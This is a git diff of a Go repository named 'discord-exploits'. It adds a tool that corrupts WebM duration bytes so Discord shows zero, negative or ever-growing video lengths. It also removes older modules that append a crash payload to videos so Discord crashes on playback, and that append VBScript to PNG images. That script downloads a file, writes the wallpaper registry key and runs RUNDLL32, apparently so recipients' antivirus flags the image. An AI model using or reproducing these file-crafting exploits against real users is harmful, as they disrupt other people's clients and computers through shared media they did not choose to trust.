diff --git a/README.md b/README.md
index c682332..62b6eb4 100644
--- a/README.md
+++ b/README.md
@@ -1,3 +1,10 @@
+# DISCLAIMER: THIS PROJECT IS DEAD
+
+### not only do half of the features not work, but ever since SomeOrdinaryGamers made his [youtube video](https://youtu.be/smNuREXq5wc?t=524) where he quickly glances over this repository, a lot of his viewers joined the discord server asking a lot of unnecessary and stupid questions that could've easily been answered if they just took a look at this readme or if they just straight up ignored this repository. This repository is being archived and most likely deleted in the future as it does not serve a purpose other than attracting script kiddies at this point. I have pushed new code that only does the webm duration mods and is generally more well-written.
+
+
+
+
[![GitHub stars](https://img.shields.io/github/stars/Schmenn/discord-exploits?color=FFFFFF&label=stars&style=flat-square)](https://github.com/Schmenn/discord-exploits/stargazers)
![GitHub code size in bytes](https://img.shields.io/github/languages/code-size/Schmenn/discord-exploits?color=FFFFFF&style=flat-square)
![GitHub issues](https://img.shields.io/github/issues/Schmenn/discord-exploits?color=FFFFFF&style=flat-square)
diff --git a/discord-exploits.go b/discord-exploits.go
new file mode 100644
index 0000000..6b9ec21
--- /dev/null
+++ b/discord-exploits.go
@@ -0,0 +1,125 @@
+package main
+
+import (
+ "bytes"
+ "flag"
+ "math/rand"
+ "os"
+ "path/filepath"
+ "strings"
+ "time"
+
+ "github.com/fatih/color"
+ "github.com/gabriel-vasile/mimetype"
+)
+
+var (
+ mode string
+ inputFile string
+ outputFile string
+
+ done = make(chan response, 1)
+ logRed = color.New(color.FgHiRed)
+ logGreen = color.New(color.FgHiGreen)
+)
+
+type response int
+
+const (
+ responseWrongFileType response = iota
+ responseFileNotExist
+ responseUnknownError
+ responseDone
+)
+
+func init() {
+ flag.StringVar(&mode, "m", "", "mode you want to use")
+ flag.StringVar(&inputFile, "i", "", "input file")
+ flag.StringVar(&outputFile, "o", "", "output file, will be random if its not set")
+
+ flag.Parse()
+ flag.CommandLine.SetOutput(os.Stdout)
+ flag.Usage = func() {
+ _, file := filepath.Split(os.Args[0])
+ logRed.Fprintf(flag.CommandLine.Output(), "Usage of %s:\n", file)
+ flag.PrintDefaults()
+ }
+ if mode == "" {
+ flag.Usage()
+ os.Exit(0)
+ }
+ if inputFile == "" {
+ if flag.Arg(0) == "" {
+ flag.Usage()
+ os.Exit(0)
+ }
+ inputFile = flag.Arg(0)
+ }
+ if outputFile == "" {
+ outputFile = createName()
+ }
+
+ mimetype.SetLimit(2 >> 15)
+}
+
+func main() {
+ switch strings.ToLower(mode) {
+ case "z", "0", "zero":
+ webm([]byte{0, 0, 0, 0, 0, 0, 0, 0})
+ case "n", "-", "negative":
+ webm([]byte{66, 255, 176, 96, 0, 0, 0, 0})
+ case "e", "+", "expanding":
+ webm([]byte{63, 240, 0, 0, 0, 0, 0, 0})
+
+ default:
+ logRed.Println("Wrong mode!")
+ }
+
+ switch <-done {
+ case responseWrongFileType:
+ logRed.Println("Wrong File Type")
+ case responseFileNotExist:
+ logRed.Println("File Not Found")
+ case responseDone:
+ logGreen.Printf("Done, saved to %s", outputFile)
+ }
+ time.Sleep(time.Second * 5)
+}
+
+func webm(change []byte) {
+ b, err := os.ReadFile(inputFile)
+ if err != nil {
+ logRed.Sprintln("File could not be opened")
+ done <- responseFileNotExist
+ return
+ }
+
+ mime := mimetype.Detect(b).String()
+ if mime != "video/webm" && mime != "video/x-matroska" {
+ done <- responseWrongFileType
+ }
+
+ index := bytes.Index(b, []byte("\x44\x89\x88"))
+ if index == -1 {
+ done <- responseUnknownError
+ return
+ }
+
+ if filepath.Ext(outputFile) == "" {
+ outputFile = outputFile + ".webm"
+ }
+
+ os.WriteFile(outputFile, bytes.Replace(b, b[index+3:index+10], change, 1), 0o777)
+
+ done <- responseDone
+}
+
+func createName() string {
+ charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
+ b := make([]byte, 8)
+ rand.Seed(time.Now().UnixNano())
+ for i := range b {
+ b[i] = charset[rand.Intn(len(charset))]
+ }
+ return string(b)
+}
diff --git a/exploits.go b/exploits.go
deleted file mode 100644
index a167ac4..0000000
--- a/exploits.go
+++ /dev/null
@@ -1,201 +0,0 @@
-package main
-
-import (
- "fmt"
- "github.com/Schmenn/discord-exploits/exploits"
- "github.com/Schmenn/discord-exploits/modules"
- "os"
- "strings"
- "path/filepath"
-)
-
-var (
- quiet bool = false
- inputFile string = "no input file provided"
- mode string = "no mode specified"
-)
-
-func main() {
-
- args := os.Args[1:]
- handleArgs(args, &quiet)
- if !quiet {
- modules.Welcome()
- }
-
- fmt.Println("input file: " + inputFile)
- fmt.Println("mode: " + mode)
-
- initCommand(inputFile, mode)
-
-}
-
-func handleArgs(args []string, quiet *bool) {
-
- for i, s := range args {
- switch s {
- // Quiet
- case "-q", "--quiet":
- *quiet = true
-
- // Input File
- case "-i":
- absPath, err := filepath.Abs(args[i+1])
- if err != nil {
- absPath = args[i+1]
- }
- inputFile = filepath.FromSlash(absPath)
-
- // Mode Selection
- case "-m":
- mode = args[i+1]
-
- // Help Message
- case "-h":
- modules.Help(os.Args[0])
- *quiet = true
- return
-
- default:
- break
- }
- }
-
-}
-
-func initCommand(inputFile string, mode string) {
- if strings.HasSuffix(inputFile, ".webm") {
-
- switch mode {
- case "e":
- fmt.Println("editing video.")
- exploits.RunExpandingVideoTask(inputFile)
- fmt.Println("completed task.")
-
- case "n":
- fmt.Println("editing video.")
- exploits.RunNegativeVideoTask(inputFile)
- fmt.Println("completed task.")
-
- case "0", "z":
- fmt.Println("editing video.")
- exploits.RunZeroVideoTask(inputFile)
- fmt.Println("completed task.")
-
- case "c":
- fmt.Println("transcoding video from webm to mp4")
- out := modules.Transcode(inputFile, "mp4")
- fmt.Println("finished transcoding video from webm to mp4")
- fmt.Println("editing video.")
- exploits.RunCrashVideoTask(out)
- fmt.Println("completed task.")
- os.Remove(out)
-
- default:
- fmt.Println("the mode doesn't match the file")
- }
-
- } else if strings.HasSuffix(inputFile, ".mp4") {
-
- switch mode {
- case "e":
- fmt.Println("transcoding video from mp4 to webm")
- out := modules.Transcode(inputFile, "webm")
- fmt.Println("finished transcoding video from mp4 to webm")
- fmt.Println("editing video.")
- exploits.RunExpandingVideoTask(out)
- fmt.Println("completed task.")
- os.Remove(out)
-
- case "n":
- fmt.Println("transcoding video from mp4 to webm")
- out := modules.Transcode(inputFile, "webm")
- fmt.Println("finished transcoding video from mp4 to webm")
- fmt.Println("editing video.")
- exploits.RunNegativeVideoTask(out)
- fmt.Println("completed task.")
- os.Remove(out)
-
- case "0", "z":
- fmt.Println("transcoding video from mp4 to webm")
- out := modules.Transcode(inputFile, "webm")
- fmt.Println("finished transcoding video from mp4 to webm")
- fmt.Println("editing video.")
- exploits.RunZeroVideoTask(out)
- fmt.Println("completed task.")
- os.Remove(out)
-
- case "c":
- fmt.Println("editing video.")
- exploits.RunCrashVideoTask(inputFile)
- fmt.Println("completed task.")
-
- default:
- fmt.Println("the mode doesn't match the file")
- }
-
- } else if strings.HasSuffix(inputFile, ".png") {
- fmt.Println("editing photo.")
- exploits.RunVirusImageTask(inputFile)
- fmt.Println("completed task.")
-
- } else if strings.HasSuffix(inputFile, ".jpg") {
- fmt.Println("transcoding image from jpg to png")
- out := modules.Transcode(inputFile, "png")
- fmt.Println("finished transcoding image from jpg to png")
- fmt.Println("editing photo.")
- exploits.RunVirusImageTask(out)
- fmt.Println("completed task.")
- os.Remove(out)
-
- } else if strings.HasSuffix(inputFile, ".jpeg") {
- if strings.ToLower(mode) != "v" || strings.ToLower(mode) == "no mode specified" {
- fmt.Println("the mode is not compatible with the image, proceeding to run the virus image task anyway")
- }
- fmt.Println("transcoding image from jpeg to png")
- out := modules.Transcode(inputFile, "png")
- fmt.Println("finished transcoding image from jpeg to png")
- fmt.Println("editing photo.")
- exploits.RunVirusImageTask(out)
- fmt.Println("completed task.")
- os.Remove(out)
-
- } else if strings.HasSuffix(inputFile, ".ogg") {
- if strings.ToLower(mode) != "t" || strings.ToLower(mode) == "no mode specified" {
- fmt.Println("the mode is not compatible with the audio file, proceeding to run the play-twice task anyway")
- }
- fmt.Println("editing audio.")
- exploits.RunTwiceAudioTask(inputFile)
- fmt.Println("completed task.")
-
- } else if strings.HasSuffix(inputFile, ".mp3") {
- if strings.ToLower(mode) != "t" || strings.ToLower(mode) == "no mode specified" {
- fmt.Println("the mode is not compatible with the audio file, proceeding to run the play-twice task anyway")
- }
- fmt.Println("transcoding audio from mp3 to ogg")
- out := modules.Transcode(inputFile, "ogg")
- fmt.Println("finished transcoding audio from mp3 to ogg")
- fmt.Println("editing audio.")
- exploits.RunTwiceAudioTask(out)
- fmt.Println("completed task.")
- os.Remove(out)
-
- } else if strings.HasSuffix(inputFile, ".m4a") {
- if strings.ToLower(mode) != "t" || strings.ToLower(mode) == "no mode specified" {
- fmt.Println("the mode is not compatible with the audio file, proceeding to run the play-twice task anyway")
- }
- fmt.Println("transcoding audio from m4a to ogg")
- out := modules.Transcode(inputFile, "ogg")
- fmt.Println("finished transcoding audio from m4a to ogg")
- fmt.Println("editing audio.")
- exploits.RunTwiceAudioTask(out)
- fmt.Println("completed task.")
- os.Remove(out)
-
- } else if inputFile == "no input file provided" {
- return
-
- } else {
- fmt.Println("incompatible input file")
- }
-}
diff --git a/exploits/crash-video.go b/exploits/crash-video.go
deleted file mode 100644
index 51fd53b..0000000
--- a/exploits/crash-video.go
+++ /dev/null
@@ -1,34 +0,0 @@
-package exploits
-
-import (
- _ "embed" // embed
- "fmt"
- "os"
- "os/exec"
-
- "github.com/Schmenn/discord-exploits/modules"
-)
-
-//go:embed crash.bin
-var bin []byte
-
-// RunCrashVideoTask takes the input file and makes a video from it that when played crashes discord
-func RunCrashVideoTask(filename string) {
- binname := modules.CreateName("bin")
- outname := modules.CreateName("mp4")
- txtname := modules.CreateName("txt")
- err := os.WriteFile(txtname, []byte(`file '`+filename+`'`+"\n"+`file '`+binname+`'`), 0777)
- modules.Check(err)
- err = os.WriteFile(binname, bin, 0777)
- modules.Check(err)
- modules.CheckForFFmpeg()
- cmd := exec.Command("ffmpeg", "-f", "concat", "-safe", "0", "-i", txtname, "-y", "-c", "copy", outname)
- err = cmd.Run()
- modules.Check(err)
-
- err = os.Remove(binname)
- modules.Check(err)
- err = os.Remove(txtname)
- modules.Check(err)
- fmt.Println("Saved video to: " + outname)
-}
diff --git a/exploits/crash.bin b/exploits/crash.bin
deleted file mode 100644
index 61b44dd..0000000
Binary files a/exploits/crash.bin and /dev/null differ
diff --git a/exploits/expanding-video.go b/exploits/expanding-video.go
deleted file mode 100644
index 36ef2a7..0000000
--- a/exploits/expanding-video.go
+++ /dev/null
@@ -1,38 +0,0 @@
-package exploits
-
-import (
- "bytes"
- "fmt"
- "github.com/Schmenn/discord-exploits/modules"
- "os"
-)
-
-// RunExpandingVideoTask edits file so that it keeps expanding while it's getting played
-func RunExpandingVideoTask(fileName string) {
-
- data, err := os.ReadFile(fileName)
- modules.Check(err)
- index := bytes.Index(data, []byte("\x44\x89\x88"))
- if index == -1 {
- fmt.Println("could not find the part of the file that needs to be modified, exiting")
- return
- }
-
- data[index+3] = 63
- data[index+4] = 240
- data[index+5] = 0
- data[index+6] = 0
- data[index+7] = 0
- data[index+8] = 0
- data[index+9] = 0
- data[index+10] = 0
-
- name := modules.CreateName("webm")
-
- fmt.Println("Saved video to: " + name)
-
- err = os.WriteFile(name, data, os.FileMode(0777))
- if err != nil {
- panic(err)
- }
-}
diff --git a/exploits/negative-video.go b/exploits/negative-video.go
deleted file mode 100644
index 5867326..0000000
--- a/exploits/negative-video.go
+++ /dev/null
@@ -1,39 +0,0 @@
-package exploits
-
-import (
- "bytes"
- "fmt"
- "github.com/Schmenn/discord-exploits/modules"
- "os"
-)
-
-// RunNegativeVideoTask edits file so it has got a huge negative duration
-func RunNegativeVideoTask(fileName string) {
-
- data, err := os.ReadFile(fileName)
- modules.Check(err)
- index := bytes.Index(data, []byte("\x44\x89\x88"))
- if index == -1 {
- fmt.Println("could not find the part of the file that needs to be modified, exiting")
- fmt.Println("are you sure the file is actually a webm?")
- return
- }
-
- data[index+3] = 66
- data[index+4] = 255
- data[index+5] = 176
- data[index+6] = 96
- data[index+7] = 0
- data[index+8] = 0
- data[index+9] = 0
- data[index+10] = 0
-
- name := modules.CreateName("webm")
-
- fmt.Println("Saved video to: " + name)
-
- err = os.WriteFile(name, data, os.FileMode(0777))
- if err != nil {
- panic(err)
- }
-}
diff --git a/exploits/twice.go b/exploits/twice.go
deleted file mode 100644
index 9be1942..0000000
--- a/exploits/twice.go
+++ /dev/null
@@ -1,27 +0,0 @@
-package exploits
-
-import (
- _ "embed" // embed
- "fmt"
- "github.com/Schmenn/discord-exploits/modules"
- "os"
-)
-
-//go:embed twice.ogg
-var twiceOgg []byte
-
-// RunTwiceAudioTask edits audio file so it plays a different track when played again
-func RunTwiceAudioTask(fileName string) {
- data, err := os.ReadFile(fileName)
- modules.Check(err)
-
- twice := append(twiceOgg, data...)
-
- name := modules.CreateName("ogg")
- fmt.Println("Saved video to: " + name)
-
- err = os.WriteFile(name, twice, os.FileMode(0777))
- if err != nil {
- panic(err)
- }
-}
diff --git a/exploits/twice.ogg b/exploits/twice.ogg
deleted file mode 100644
index 2ed25b4..0000000
Binary files a/exploits/twice.ogg and /dev/null differ
diff --git a/exploits/virus-image.go b/exploits/virus-image.go
deleted file mode 100644
index bd05608..0000000
--- a/exploits/virus-image.go
+++ /dev/null
@@ -1,29 +0,0 @@
-package exploits
-
-import (
- _ "embed" // embed
- "fmt"
- "github.com/Schmenn/discord-exploits/modules"
- "os"
-)
-
-var (
- //go:embed virus1.txt
- vpng1 []byte
- //go:embed virus2.txt
- vpng2 []byte
- vpng = append(vpng1, vpng2...)
-)
-
-// RunVirusImageTask edits file
-func RunVirusImageTask(fileName string) {
- data, err := os.ReadFile(fileName)
- modules.Check(err)
- data = append(data, vpng...)
- name := modules.CreateName("png")
- fmt.Println("Saved video to: " + name)
- err = os.WriteFile(name, data, os.FileMode(0777))
- if err != nil {
- panic(err)
- }
-}
diff --git a/exploits/virus1.txt b/exploits/virus1.txt
deleted file mode 100644
index 50bd5cf..0000000
--- a/exploits/virus1.txt
+++ /dev/null
@@ -1,10 +0,0 @@
-Set objShell = CreateObject("WScript.Shell")
-Set objEnv = objShell.Environment("User")
-
-strDirectory = objShell.ExpandEnvironmentStrings("%temp%")
-
-dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
-dim bStrm: Set bStrm = createobject("Adodb.Stream")
-xHttp.Open "GET", "https://cdn.discordapp.com/emojis/681577625394872370.png?v=1", False
-xHttp.Send
-
diff --git a/exploits/virus2.txt b/exploits/virus2.txt
deleted file mode 100644
index 9745ab5..0000000
--- a/exploits/virus2.txt
+++ /dev/null
@@ -1,9 +0,0 @@
-with bStrm
- .type = 1 '//binary
- .open
- .write xHttp.responseBody
- .savetofile strDirectory + "\myImage.png", 2 '//overwrite
-end with
-
-objShell.RegWrite "HKCU\Control Panel\Desktop\Wallpaper", strDirectory + "\myImage.png"
-objShell.Run "%windir%\System32\RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters", 1, True
diff --git a/exploits/zero-video.go b/exploits/zero-video.go
deleted file mode 100644
index 96f1c0f..0000000
--- a/exploits/zero-video.go
+++ /dev/null
@@ -1,39 +0,0 @@
-package exploits
-
-import (
- "bytes"
- "fmt"
- "github.com/Schmenn/discord-exploits/modules"
- "os"
-)
-
-// RunZeroVideoTask edits file so it has got a duration of 0
-func RunZeroVideoTask(fileName string) {
-
- data, err := os.ReadFile(fileName)
- modules.Check(err)
- index := bytes.Index(data, []byte("\x44\x89\x88"))
- if index == -1 {
- fmt.Println("could not find the part of the file that needs to be modified, exiting")
- fmt.Println("are you sure the file is actually a webm?")
- return
- }
-
- data[index+3] = 0
- data[index+4] = 0
- data[index+5] = 0
- data[index+6] = 0
- data[index+7] = 0
- data[index+8] = 0
- data[index+9] = 0
- data[index+10] = 0
-
- name := modules.CreateName("webm")
-
- fmt.Println("Saved video to: "+name)
-
- err = os.WriteFile(name, data, os.FileMode(0777))
- if err != nil {
- panic(err)
- }
-}
diff --git a/go.mod b/go.mod
index 822508a..f9ae4ab 100644
--- a/go.mod
+++ b/go.mod
@@ -1,3 +1,15 @@
-module github.com/Schmenn/discord-exploits
+module github.com/schmenn/discord-exploits
-go 1.16
+go 1.17
+
+require (
+ github.com/fatih/color v1.12.0
+ github.com/gabriel-vasile/mimetype v1.3.1
+)
+
+require (
+ github.com/mattn/go-colorable v0.1.8 // indirect
+ github.com/mattn/go-isatty v0.0.13 // indirect
+ golang.org/x/net v0.0.0-20210505024714-0287a6fb4125 // indirect
+ golang.org/x/sys v0.0.0-20210423082822-04245dca01da // indirect
+)
diff --git a/go.sum b/go.sum
new file mode 100644
index 0000000..74d9e2d
--- /dev/null
+++ b/go.sum
@@ -0,0 +1,20 @@
+github.com/fatih/color v1.12.0 h1:mRhaKNwANqRgUBGKmnI5ZxEk7QXmjQeCcuYFMX2bfcc=
+github.com/fatih/color v1.12.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
+github.com/gabriel-vasile/mimetype v1.3.1 h1:qevA6c2MtE1RorlScnixeG0VA1H4xrXyhyX3oWBynNQ=
+github.com/gabriel-vasile/mimetype v1.3.1/go.mod h1:fA8fi6KUiG7MgQQ+mEWotXoEOvmxRtOJlERCzSmRvr8=
+github.com/mattn/go-colorable v0.1.8 h1:c1ghPdyEDarC70ftn0y+A/Ee++9zz8ljHG1b13eJ0s8=
+github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
+github.com/mattn/go-isatty v0.0.12 h1:wuysRhFDzyxgEmMf5xjvJ2M9dZoWAXNNr5LSBS7uHXY=
+github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
+github.com/mattn/go-isatty v0.0.13 h1:qdl+GuBjcsKKDco5BsxPJlId98mSWNKqYA+Co0SC1yA=
+github.com/mattn/go-isatty v0.0.13/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
+golang.org/x/net v0.0.0-20210505024714-0287a6fb4125 h1:Ugb8sMTWuWRC3+sz5WeN/4kejDx9BvIwnPUiJBjJE+8=
+golang.org/x/net v0.0.0-20210505024714-0287a6fb4125/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
+golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20210423082822-04245dca01da h1:b3NXsE2LusjYGGjL5bxEVZZORm/YEFFrWFjR8eFrw/c=
+golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
+golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
+golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
diff --git a/modules/error.go b/modules/error.go
deleted file mode 100644
index 9f81e69..0000000
--- a/modules/error.go
+++ /dev/null
@@ -1,8 +0,0 @@
-package modules
-
-// Check Error Handling
-func Check(e error) {
- if e != nil {
- panic(e)
- }
-}
diff --git a/modules/ffmpeg-check.go b/modules/ffmpeg-check.go
deleted file mode 100644
index fe0f9e7..0000000
--- a/modules/ffmpeg-check.go
+++ /dev/null
@@ -1,18 +0,0 @@
-package modules
-
-import (
- "fmt"
- "os"
- "os/exec"
-)
-
-// CheckForFFmpeg looks for ffmpeg in the path
-func CheckForFFmpeg() (string) {
- path, err := exec.LookPath("ffmpeg")
-
- if err != nil {
- fmt.Println("Could not find FFmpeg, maybe you don't have it installed or on your PATH")
- os.Exit(1)
- }
- return path
-}
diff --git a/modules/help.go b/modules/help.go
deleted file mode 100644
index 80fdf29..0000000
--- a/modules/help.go
+++ /dev/null
@@ -1,30 +0,0 @@
-package modules
-
-import (
- "fmt"
-)
-
-//Help program usage
-func Help(progName string) {
- fmt.Println("Discord-Exploits Help")
- fmt.Println(" Usage: " + progName + " -i -m [-q]")
- fmt.Println("")
- fmt.Println("--quiet -q don't show welcome screen")
- fmt.Println("-i provide input file")
- fmt.Println("-m specify mode")
- fmt.Println("")
- fmt.Println("modes:")
- fmt.Println(" video:")
- fmt.Println(" e takes input video (.webm or .mp4) and edits it so discord will keep making it longer")
- fmt.Println(" n takes input video (.webm or .mp4) and edits it so discord will think it has got a huge negative duration")
- fmt.Println(" z, 0 takes input video (.webm or .mp4) and edits it so discord will think it has got a 0s duration")
- fmt.Println(" c takes input video (.webm or .mp4) and edits it so discord will crash when you play it to the end (only works on some PCs)")
- fmt.Println(" image:")
- fmt.Println(" v takes an image (.png, .jpg or .jpeg) and makes other users' windows defender think it's a virus")
- fmt.Println(" audio:")
- fmt.Println(" t takes an audio file (.ogg, .m4a or .mp3) and edits it so discord will play a second audio track when you replay it.")
- fmt.Println("")
- fmt.Println("the following file formats require ffmpeg: .mp4, .jpg, .jpeg, .ogg, .m4a and .mp3")
- fmt.Println("")
-
-}
diff --git a/modules/name.go b/modules/name.go
deleted file mode 100644
index 8a4c852..0000000
--- a/modules/name.go
+++ /dev/null
@@ -1,17 +0,0 @@
-package modules
-
-import (
- "math/rand"
- "time"
-)
-
-// CreateName generates a random file name
-func CreateName(extension string) string {
- charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
- b := make([]byte, 8)
- rand.Seed(time.Now().UnixNano())
- for i := range b {
- b[i] = charset[rand.Intn(len(charset))]
- }
- return string(b) + "." + extension
-}
diff --git a/modules/transcode.go b/modules/transcode.go
deleted file mode 100644
index deae91c..0000000
--- a/modules/transcode.go
+++ /dev/null
@@ -1,30 +0,0 @@
-package modules
-
-import (
- "fmt"
- "os/exec"
- "strings"
-)
-
-//Transcode transcodes videos and images
-func Transcode(input string, to string) string {
- path := CheckForFFmpeg()
- output := CreateName(to)
-
- if strings.HasSuffix(input, ".ogg") || strings.HasSuffix(input, ".mp3") || strings.HasSuffix(input, ".m4a") {
- _, err := exec.Command(path, "-i", input, "-ar", "44100", "-y", "-c:a", "libvorbis", output).CombinedOutput()
- Check(err)
-
- fmt.Println("temporarily saving transcoded file to " + output)
-
- return output
- }
-
- _, err := exec.Command(path, "-i", input, output).CombinedOutput()
-
- Check(err)
-
- fmt.Println("temporarily saving transcoded file to " + output)
-
- return output
-}
diff --git a/modules/welcome.go b/modules/welcome.go
deleted file mode 100644
index 8d5d303..0000000
--- a/modules/welcome.go
+++ /dev/null
@@ -1,18 +0,0 @@
-package modules
-
-import (
- "fmt"
-)
-
-//Welcome greets the user on startup
-func Welcome() {
- fmt.Println("Discord Exploits --- made by Schmenn")
- fmt.Println(" _ _ _")
- fmt.Println(" | | (_) |")
- fmt.Println(" _____ ___ __ | | ___ _| |_ ___")
- fmt.Println(" / _ \\ \\/ / '_ \\| |/ _ \\| | __/ __|")
- fmt.Println(" | __/> <| |_) | | (_) | | |_\\__ \\")
- fmt.Println(" \\___/_/\\_\\ .__/|_|\\___/|_|\\__|___/")
- fmt.Println(" | |")
- fmt.Println(" |_|")
-}